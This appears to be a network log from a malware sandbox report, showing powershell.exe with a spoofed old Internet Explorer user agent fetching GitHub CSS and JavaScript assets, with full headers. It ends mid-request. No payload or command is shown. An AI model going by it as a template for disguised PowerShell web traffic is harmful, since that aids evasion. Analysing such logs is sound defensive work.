Vary: Origin, Access-Control-Request-Headers, Access-Control-Request-Method, Accept-Encoding
Cross-Origin-Resource-Policy: cross-origin
Access-Control-Allow-Origin: *
Strict-Transport-Security: max-age=31536000
X-Fastly-Request-ID: ae074dc4ba78502bf51dcdc93985048bb1f2b125
GET

https://github.githubassets.com/assets/primer-primitives-6143c8f97ed1.css

powershell.exe

Remote address:

185.199.108.154:443

Request

GET /assets/primer-primitives-6143c8f97ed1.css HTTP/1.1
Accept: */*
Accept-Language: en-US
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: github.githubassets.com
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Connection: keep-alive
Content-Length: 1586
Access-Control-Allow-Methods: GET
Access-Control-Max-Age: 3600
Cache-Control: public, max-age=31536000
Last-Modified: Wed, 13 Sep 2023 15:43:10 GMT
ETag: "0589809fc1465f9046ff2d47765d1542"
Content-Type: text/css
Server: AmazonS3
Content-Encoding: gzip
Via: 1.1 varnish, 1.1 varnish
Accept-Ranges: bytes
Date: Sun, 17 Sep 2023 15:42:31 GMT
Age: 345429
X-Served-By: cache-iad-kiad7000166-IAD, cache-ams21021-AMS
X-Cache: HIT, HIT
X-Cache-Hits: 14, 30630
Vary: Origin, Access-Control-Request-Headers, Access-Control-Request-Method, Accept-Encoding
Cross-Origin-Resource-Policy: cross-origin
Access-Control-Allow-Origin: *
Strict-Transport-Security: max-age=31536000
X-Fastly-Request-ID: 31915f675d6e8ad6941f6a368d4557194d918e07
GET

https://github.githubassets.com/assets/global-ff0cd5eb8b00.css

powershell.exe

Remote address:

185.199.108.154:443

Request

GET /assets/global-ff0cd5eb8b00.css HTTP/1.1
Accept: */*
Accept-Language: en-US
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: github.githubassets.com
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Connection: keep-alive
Content-Length: 40680
Access-Control-Allow-Methods: GET
Access-Control-Max-Age: 3600
Cache-Control: public, max-age=31536000
Last-Modified: Fri, 15 Sep 2023 23:09:04 GMT
ETag: "cc4f0888656f1ff546aa7abde1d0cdee"
Content-Type: text/css
Server: AmazonS3
Content-Encoding: gzip
Via: 1.1 varnish, 1.1 varnish
Accept-Ranges: bytes
Date: Sun, 17 Sep 2023 15:42:31 GMT
Age: 145845
X-Served-By: cache-iad-kjyo7100082-IAD, cache-ams21021-AMS
X-Cache: HIT, HIT
X-Cache-Hits: 8, 10899
Vary: Origin, Access-Control-Request-Headers, Access-Control-Request-Method, Accept-Encoding
Cross-Origin-Resource-Policy: cross-origin
Access-Control-Allow-Origin: *
Strict-Transport-Security: max-age=31536000
X-Fastly-Request-ID: a52323aea8837b42a4bef2a22bde430d7fcce00d
GET

https://github.githubassets.com/assets/dashboard-7d380dd481a6.css

powershell.exe

Remote address:

185.199.108.154:443

Request

GET /assets/dashboard-7d380dd481a6.css HTTP/1.1
Accept: */*
Accept-Language: en-US
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: github.githubassets.com
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Connection: keep-alive
Content-Length: 2447
Access-Control-Allow-Methods: GET
Access-Control-Max-Age: 3600
Cache-Control: public, max-age=31536000
Last-Modified: Tue, 15 Aug 2023 22:11:48 GMT
ETag: "c008f88a440fe5e74033752d63c4a6a8"
Content-Type: text/css
Server: AmazonS3
Content-Encoding: gzip
Via: 1.1 varnish, 1.1 varnish
Accept-Ranges: bytes
Date: Sun, 17 Sep 2023 15:42:32 GMT
Age: 2827646
X-Served-By: cache-iad-kiad7000090-IAD, cache-ams21021-AMS
X-Cache: HIT, HIT
X-Cache-Hits: 28, 11878
Vary: Origin, Access-Control-Request-Headers, Access-Control-Request-Method, Accept-Encoding
Cross-Origin-Resource-Policy: cross-origin
Access-Control-Allow-Origin: *
Strict-Transport-Security: max-age=31536000
X-Fastly-Request-ID: 84b5112238dbfac134ce2c153e3697c5101a4591
GET

https://github.githubassets.com/assets/site-657ed51f7599.css

powershell.exe

Remote address:

185.199.108.154:443

Request

GET /assets/site-657ed51f7599.css HTTP/1.1
Accept: */*
Accept-Language: en-US
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: github.githubassets.com
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Connection: keep-alive
Content-Length: 10290
Cache-Control: public, max-age=31536000
Last-Modified: Thu, 03 Aug 2023 16:03:20 GMT
ETag: "f06f8c0265d95aadb79db4bd9181176a"
Content-Type: text/css
Server: AmazonS3
Content-Encoding: gzip
Via: 1.1 varnish, 1.1 varnish
Accept-Ranges: bytes
Date: Sun, 17 Sep 2023 15:42:32 GMT
Age: 3831688
X-Served-By: cache-iad-kjyo7100054-IAD, cache-ams21021-AMS
X-Cache: HIT, HIT
X-Cache-Hits: 7965, 12440
Vary: Accept-Encoding
Cross-Origin-Resource-Policy: cross-origin
Access-Control-Allow-Origin: *
Strict-Transport-Security: max-age=31536000
X-Fastly-Request-ID: 1a548611f73f8d6f9b1b102842cb16918620e2d3
GET

https://github.githubassets.com/assets/home-campaign-1fd038acb658.css

powershell.exe

Remote address:

185.199.108.154:443

Request

GET /assets/home-campaign-1fd038acb658.css HTTP/1.1
Accept: */*
Accept-Language: en-US
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: github.githubassets.com
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Connection: keep-alive
Content-Length: 1451
Cache-Control: public, max-age=31536000
Last-Modified: Tue, 27 Jun 2023 02:02:16 GMT
ETag: "7485cbe6d75a306ec11d5676146b7703"
Content-Type: text/css
Server: AmazonS3
Content-Encoding: gzip
Via: 1.1 varnish, 1.1 varnish
Accept-Ranges: bytes
Date: Sun, 17 Sep 2023 15:42:32 GMT
Age: 2000177
X-Served-By: cache-iad-kcgs7200112-IAD, cache-ams21021-AMS
X-Cache: HIT, HIT
X-Cache-Hits: 1360, 5785
Vary: Accept-Encoding
Cross-Origin-Resource-Policy: cross-origin
Access-Control-Allow-Origin: *
Strict-Transport-Security: max-age=31536000
X-Fastly-Request-ID: cb918f6d98ee600ddcf56933e3815518cfa653ae
GET

https://github.githubassets.com/assets/vendors-node_modules_dompurify_dist_purify_js-64d590970fa6.js

powershell.exe

Remote address:

185.199.108.154:443

Request

GET /assets/vendors-node_modules_dompurify_dist_purify_js-64d590970fa6.js HTTP/1.1
Accept: */*
Accept-Language: en-US
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: github.githubassets.com
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Connection: keep-alive
Content-Length: 8569
Access-Control-Allow-Methods: GET
Access-Control-Max-Age: 3600
Cache-Control: public, max-age=31536000
Last-Modified: Thu, 09 Mar 2023 18:54:49 GMT
ETag: "9cacdda9881719772c57c7de36b1c3bf"
Content-Type: application/javascript
Server: AmazonS3
Content-Encoding: gzip
Via: 1.1 varnish, 1.1 varnish
Accept-Ranges: bytes
Date: Sun, 17 Sep 2023 15:42:32 GMT
Age: 123999
X-Served-By: cache-iad-kcgs7200020-IAD, cache-ams21021-AMS
X-Cache: HIT, HIT
X-Cache-Hits: 32, 7207
Vary: Origin, Access-Control-Request-Headers, Access-Control-Request-Method, Accept-Encoding
Cross-Origin-Resource-Policy: cross-origin
Access-Control-Allow-Origin: *
Strict-Transport-Security: max-age=31536000
X-Fastly-Request-ID: dbbf633d17c405ef07a96bde3b0f81fd571a4626
GET

https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-df17d5597d8f.js

powershell.exe

Remote address:

185.199.108.154:443

Request

GET /assets/ui_packages_soft-nav_soft-nav_ts-df17d5597d8f.js HTTP/1.1
Accept: */*
Accept-Language: en-US
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: github.githubassets.com
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Connection: keep-alive
Content-Length: 3783
Access-Control-Allow-Methods: GET
Access-Control-Max-Age: 3600
Cache-Control: public, max-age=31536000
Last-Modified: Mon, 14 Aug 2023 17:56:25 GMT
ETag: "2f038fbfa93a971dd802eb0e514c18d7"
Content-Type: application/javascript
Server: AmazonS3
Content-Encoding: gzip
Via: 1.1 varnish, 1.1 varnish
Accept-Ranges: bytes
Date: Sun, 17 Sep 2023 15:42:32 GMT
Age: 123999
X-Served-By: cache-iad-kjyo7100045-IAD, cache-ams21021-AMS
X-Cache: HIT, HIT
X-Cache-Hits: 37, 7320
Vary: Origin, Access-Control-Request-Headers, Access-Control-Request-Method, Accept-Encoding
Cross-Origin-Resource-Policy: cross-origin
Access-Control-Allow-Origin: *
Strict-Transport-Security: max-age=31536000
X-Fastly-Request-ID: c306a21d4067f709c78106da2ff4ef0e66c08790
GET

https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js

powershell.exe

Remote address:

185.199.108.154:443

Request

GET /assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js HTTP/1.1
Accept: */*
Accept-Language: en-US
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: github.githubassets.com
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Connection: keep-alive
Content-Length: 3493
Access-Control-Allow-Methods: GET
Access-Control-Max-Age: 3600
Cache-Control: public, max-age=31536000
Last-Modified: Tue, 07 Feb 2023 02:44:30 GMT
ETag: "e5411d902c14114345232eab0b388a2e"
Content-Type: application/javascript
Server: AmazonS3
Content-Encoding: gzip
Via: 1.1 varnish, 1.1 varnish
Accept-Ranges: bytes
Date: Sun, 17 Sep 2023 15:42:33 GMT
Age: 123998
X-Served-By: cache-iad-kiad7000148-IAD, cache-ams21021-AMS
X-Cache: HIT, HIT
X-Cache-Hits: 7, 7121
Vary: Origin, Access-Control-Request-Headers, Access-Control-Request-Method, Accept-Encoding
Cross-Origin-Resource-Policy: cross-origin
Access-Control-Allow-Origin: *
Strict-Transport-Security: max-age=31536000
X-Fastly-Request-ID: 499c4f80f4af782cb8998efcfcc885acd949e214
GET

https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-99e288659d4f.js

powershell.exe

Remote address:

185.199.108.154:443

Request

GET /assets/vendors-node_modules_github_relative-time-element_dist_index_js-99e288659d4f.js HTTP/1.1
Accept: */*
Accept-Language: en-US
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: github.githubassets.com
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Connection: keep-alive
Content-Length: 4723
Access-Control-Allow-Methods: GET
Access-Control-Max-Age: 3600
Cache-Control: public, max-age=31536000
Last-Modified: Thu, 23 Mar 2023 17:21:03 GMT
ETag: "f491d4f9b68507dfdf90a5ef6d4f70f8"
Content-Type: application/javascript
Server: AmazonS3
Content-Encoding: gzip
Via: 1.1 varnish, 1.1 varnish
Accept-Ranges: bytes
Date: Sun, 17 Sep 2023 15:42:33 GMT
Age: 123998
X-Served-By: cache-iad-kjyo7100088-IAD, cache-ams21021-AMS
X-Cache: HIT, HIT
X-Cache-Hits: 19, 7122
Vary: Origin, Access-Control-Request-Headers, Access-Control-Request-Method, Accept-Encoding
Cross-Origin-Resource-Policy: cross-origin
Access-Control-Allow-Origin: *
Strict-Transport-Security: max-age=31536000
X-Fastly-Request-ID: 3d8d66cce8c59226d9091a9e5496aacb6021abd5
GET

https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_auto-complete-element-5b3870-9b38c0812424.js

powershell.exe

Remote address:

185.199.108.154:443

Request

GET /assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_auto-complete-element-5b3870-9b38c0812424.js HTTP/1.1
Accept: */*
Accept-Language: en-US
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: github.githubassets.com
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Connection: keep-alive
Content-Length: 8219
Access-Control-Allow-Methods: GET
Access-Control-Max-Age: 3600
Cache-Control: public, max-age=31536000
Last-Modified: Mon, 26 Jun 2023 18:55:14 GMT
ETag: "ad0fc3164addc8bf8d07e3428b771d32"
Content-Type: application/javascript
Server: AmazonS3
Content-Encoding: gzip
Via: 1.1 varnish, 1.1 varnish
Accept-Ranges: bytes
Date: Sun, 17 Sep 2023 15:42:33 GMT
Age: 124000
X-Served-By: cache-iad-kcgs7200091-IAD, cache-ams21021-AMS
X-Cache: HIT, HIT
X-Cache-Hits: 35, 7079
Vary: Origin, Access-Control-Request-Headers, Access-Control-Request-Method, Accept-Encoding
Cross-Origin-Resource-Policy: cross-origin
Access-Control-Allow-Origin: *
Strict-Transport-Security: max-age=31536000
X-Fastly-Request-ID: 5411a32ec45357d54dbf11e0606ae2eec113c1d5
GET

https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_primer_view-co-bdc901-81f1e189072b.js

powershell.exe

Remote address:

185.199.108.154:443

Request

GET /assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_primer_view-co-bdc901-81f1e189072b.js HTTP/1.1
Accept: */*
Accept-Language: en-US
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: github.githubassets.com
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Connection: keep-alive
Content-Length: 26648
Cache-Control: public, max-age=31536000
Last-Modified: Wed, 30 Aug 2023 18:00:11 GMT
ETag: "965784c869c529cf5c50c15a2ef98c5f"
Content-Type: application/javascript
Server: AmazonS3
Content-Encoding: gzip
Via: 1.1 varnish, 1.1 varnish
Accept-Ranges: bytes
Date: Sun, 17 Sep 2023 15:42:33 GMT
Age: 793709
X-Served-By: cache-iad-kcgs7200139-IAD, cache-ams21021-AMS
X-Cache: HIT, HIT
X-Cache-Hits: 669, 8267
Vary: Accept-Encoding
Cross-Origin-Resource-Policy: cross-origin
Access-Control-Allow-Origin: *
Strict-Transport-Security: max-age=31536000
X-Fastly-Request-ID: 1e51fce2ebf8e0f20e522217c1957cf13182fde8
GET

https://github.githubassets.com/assets/element-registry-631c5146145f.js

powershell.exe

Remote address:

185.199.108.154:443

Request

GET /assets/element-registry-631c5146145f.js HTTP/1.1
Accept: */*
Accept-Language: en-US
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: github.githubassets.com
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Connection: keep-alive
Content-Length: 7656
Access-Control-Allow-Methods: GET
Access-Control-Max-Age: 3600
Cache-Control: public, max-age=31536000
Last-Modified: Tue, 05 Sep 2023 19:14:51 GMT
ETag: "fe625d4b942dea485cf815b5de468fd9"
Content-Type: application/javascript
Server: AmazonS3
Content-Encoding: gzip
Via: 1.1 varnish, 1.1 varnish
Accept-Ranges: bytes
Date: Sun, 17 Sep 2023 15:42:33 GMT
Age: 124002
X-Served-By: cache-iad-kcgs7200059-IAD, cache-ams21021-AMS
X-Cache: HIT, HIT
X-Cache-Hits: 14, 7852
Vary: Origin, Access-Control-Request-Headers, Access-Control-Request-Method, Accept-Encoding
Cross-Origin-Resource-Policy: cross-origin
Access-Control-Allow-Origin: *
Strict-Transport-Security: max-age=31536000
X-Fastly-Request-ID: 642a0bf0078846a83240046d40a219f20bb3b966
GET

https://github.githubassets.com/assets/vendors-node_modules_github_hydro-analytics-client_dist_analytics-client_js-node_modules_gith-f3aee1-fd3c22610e40.js

powershell.exe

Remote address:

185.199.108.154:443

Request

GET /assets/vendors-node_modules_github_hydro-analytics-client_dist_analytics-client_js-node_modules_gith-f3aee1-fd3c22610e40.js HTTP/1.1
Accept: */*
Accept-Language: en-US
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: github.githubassets.com
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Connection: keep-alive
Content-Length: 3451
Access-Control-Allow-Methods: GET
Access-Control-Max-Age: 3600
Cache-Control: public, max-age=31536000
Last-Modified: Thu, 13 Apr 2023 15:13:12 GMT
ETag: "f65b7964371439aa6e9e4cd2ceb43b6f"
Content-Type: application/javascript
Server: AmazonS3
Content-Encoding: gzip
Via: 1.1 varnish, 1.1 varnish
Accept-Ranges: bytes
Date: Sun, 17 Sep 2023 15:42:34 GMT
Age: 123999
X-Served-By: cache-iad-kcgs7200034-IAD, cache-ams21021-AMS
X-Cache: HIT, HIT
X-Cache-Hits: 12, 7320
Vary: Origin, Access-Control-Request-Headers, Access-Control-Request-Method, Accept-Encoding
Cross-Origin-Resource-Policy: cross-origin
Access-Control-Allow-Origin: *
Strict-Transport-Security: max-age=31536000
X-Fastly-Request-ID: f4b17334b40536f12527d0c61bedee5a0d6e8494
GET

https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-4aefce0fc3c8.js

powershell.exe

Remote address:

185.199.108.154:443

Request

GET /assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-4aefce0fc3c8.js HTTP/1.1
Accept: */*
Accept-Language: en-US
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: github.githubassets.com
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Connection: keep-alive
Content-Length: 4445
Access-Control-Allow-Methods: GET
Access-Control-Max-Age: 3600
Cache-Control: public, max-age=31536000
Last-Modified: Sat, 29 Jul 2023 16:59:07 GMT
ETag: "a334c1ae2c3872b13c82889e92470e0a"
Content-Type: application/javascript
Server: AmazonS3
Content-Encoding: gzip
Via: 1.1 varnish, 1.1 varnish
Accept-Ranges: bytes
Date: Sun, 17 Sep 2023 15:42:34 GMT
Age: 123998
X-Served-By: cache-iad-kjyo7100046-IAD, cache-ams21021-AMS
X-Cache: HIT, HIT
X-Cache-Hits: 31, 7344
Vary: Origin, Access-Control-Request-Headers, Access-Control-Request-Method, Accept-Encoding
Cross-Origin-Resource-Policy: cross-origin
Access-Control-Allow-Origin: *
Strict-Transport-Security: max-age=31536000
X-Fastly-Request-ID: 9e34578fb0b98e0e2d9d930c91c3ba4eb20a11f4
GET

https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_scroll-anchoring_dist_scro-52dc4b-e1e33bfc0b7e.js

powershell.exe

Remote address:

185.199.108.154:443

Request

GET /assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_scroll-anchoring_dist_scro-52dc4b-e1e33bfc0b7e.js HTTP/1.1
Accept: */*
Accept-Language: en-US
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: github.githubassets.com
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Connection: keep-alive
Content-Length: 4624
Access-Control-Allow-Methods: GET
Access-Control-Max-Age: 3600
Cache-Control: public, max-age=31536000
Last-Modified: Wed, 03 May 2023 14:41:49 GMT
ETag: "6ed77e8843f620ad455509ea7f15e2f1"
Content-Type: application/javascript
Server: AmazonS3
Content-Encoding: gzip
Via: 1.1 varnish, 1.1 varnish
Accept-Ranges: bytes
Date: Sun, 17 Sep 2023 15:42:34 GMT
Age: 123998
X-Served-By: cache-iad-kjyo7100074-IAD, cache-ams21021-AMS
X-Cache: HIT, HIT
X-Cache-Hits: 30, 7143
Vary: Origin, Access-Control-Request-Headers, Access-Control-Request-Method, Accept-Encoding
Cross-Origin-Resource-Policy: cross-origin
Access-Control-Allow-Origin: *
Strict-Transport-Security: max-age=31536000
X-Fastly-Request-ID: 6f93fbb2017f7a89ff358537631f3648b00826ea
GET

https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-7a8e2b-f036384374ea.js

powershell.exe

Remote address:

185.199.108.154:443

Request

GET /assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-7a8e2b-f036384374ea.js HTTP/1.1
Accept: */*
Accept-Language: en-US
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: github.githubassets.com
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Connection: keep-alive
Content-Length: 11750
Access-Control-Allow-Methods: GET
Access-Control-Max-Age: 3600
Cache-Control: public, max-age=31536000
Last-Modified: Mon, 26 Jun 2023 18:55:16 GMT
ETag: "223e3d1fc73ad6c18e3a05f4e8ba6b0e"
Content-Type: application/javascript
Server: AmazonS3
Content-Encoding: gzip
Via: 1.1 varnish, 1.1 varnish
Accept-Ranges: bytes
Date: Sun, 17 Sep 2023 15:42:34 GMT
Age: 795460
X-Served-By: cache-iad-kjyo7100065-IAD, cache-ams21021-AMS
X-Cache: HIT, HIT
X-Cache-Hits: 17, 9649
Vary: Origin, Access-Control-Request-Headers, Access-Control-Request-Method, Accept-Encoding
Cross-Origin-Resource-Policy: cross-origin
Access-Control-Allow-Origin: *
Strict-Transport-Security: max-age=31536000
X-Fastly-Request-ID: f0f34c5e157f7160d8067587372b9d1dbf4196c8
GET

https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-ui_packages_hydro-analytics_hydro-analytics_ts-e4da304b75e7.js

powershell.exe

Remote address:

185.199.108.154:443

Request

GET /assets/app_assets_modules_github_updatable-content_ts-ui_packages_hydro-analytics_hydro-analytics_ts-e4da304b75e7.js HTTP/1.1
Accept: */*
Accept-Language: en-US
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: github.githubassets.com
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Connection: keep-alive
Content-Length: 3807
Access-Control-Allow-Methods: GET
Access-Control-Max-Age: 3600
Cache-Control: public, max-age=31536000
Last-Modified: Fri, 11 Aug 2023 21:32:56 GMT
ETag: "339c2cfce6990ec1fcf0d78b19c4de11"
Content-Type: application/javascript
Server: AmazonS3
Content-Encoding: gzip
Via: 1.1 varnish, 1.1 varnish
Accept-Ranges: bytes
Date: Sun, 17 Sep 2023 15:42:34 GMT
Age: 124003
X-Served-By: cache-iad-kcgs7200110-IAD, cache-ams21021-AMS
X-Cache: HIT, HIT
X-Cache-Hits: 2, 7596
Vary: Origin, Access-Control-Request-Headers, Access-Control-Request-Method, Accept-Encoding
Cross-Origin-Resource-Policy: cross-origin
Access-Control-Allow-Origin: *
Strict-Transport-Security: max-age=31536000
X-Fastly-Request-ID: a99ece8adedb50f7f1d928efe93d48834f6b281f
GET

https://github.githubassets.com/assets/app_assets_modules_github_behaviors_task-list_ts-app_assets_modules_github_sso_ts-ui_packages-7d50ad-9491f2be61ee.js

powershell.exe

Remote address:

185.199.108.154:443

Request

GET /assets/app_assets_modules_github_behaviors_task-list_ts-app_assets_modules_github_sso_ts-ui_packages-7d50ad-9491f2be61ee.js HTTP/1.1
Accept: */*
Accept-Language: en-US
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: github.githubassets.com
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Connection: keep-alive
Content-Length: 3737
Access-Control-Allow-Methods: GET
Access-Control-Max-Age: 3600
Cache-Control: public, max-age=31536000
Last-Modified: Fri, 11 Aug 2023 21:32:55 GMT
ETag: "058cc61b0991de0e1b4805ff2a8f4dd5"
Content-Type: application/javascript
Server: AmazonS3
Content-Encoding: gzip
Via: 1.1 varnish, 1.1 varnish
Accept-Ranges: bytes
Date: Sun, 17 Sep 2023 15:42:34 GMT
Age: 124004
X-Served-By: cache-iad-kjyo7100147-IAD, cache-ams21021-AMS
X-Cache: HIT, HIT
X-Cache-Hits: 25, 7300
Vary: Origin, Access-Control-Request-Headers, Access-Control-Request-Method, Accept-Encoding
Cross-Origin-Resource-Policy: cross-origin
Access-Control-Allow-Origin: *
Strict-Transport-Security: max-age=31536000
X-Fastly-Request-ID: c7b5bc24e47b2b3139cac4bb901a27838f282c21
GET

https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-f22ac6b94445.js

powershell.exe

Remote address:

185.199.108.154:443

Request

GET /assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-f22ac6b94445.js HTTP/1.1
Accept: */*
Accept-Language: en-US
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: github.githubassets.com
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Connection: keep-alive
Content-Length: 3327
Access-Control-Allow-Methods: GET
Access-Control-Max-Age: 3600
Cache-Control: public, max-age=31536000
Last-Modified: Wed, 14 Jun 2023 00:00:20 GMT
ETag: "5ab2a93e39fb8bc7f194eae7aa5ef209"
Content-Type: application/javascript
Server: AmazonS3
Content-Encoding: gzip
Via: 1.1 varnish, 1.1 varnish
Accept-Ranges: bytes
Date: Sun, 17 Sep 2023 15:42:34 GMT
Age: 124005
X-Served-By: cache-iad-kjyo7100029-IAD, cache-ams21021-AMS
X-Cache: HIT, HIT
X-Cache-Hits: 22, 7108
Vary: Origin, Access-Control-Request-Headers, Access-Control-Request-Method, Accept-Encoding
Cross-Origin-Resource-Policy: cross-origin
Access-Control-Allow-Origin: *
Strict-Transport-Security: max-age=31536000
X-Fastly-Request-ID: 152e29d15d6831a65a432610480d763cc1ce26d9
GET

https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-fe0b8ccc90a5.js

powershell.exe

Remote address:

185.199.108.154:443

Request

GET /assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-fe0b8ccc90a5.js HTTP/1.1
Accept: */*
Accept-Language: en-US
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
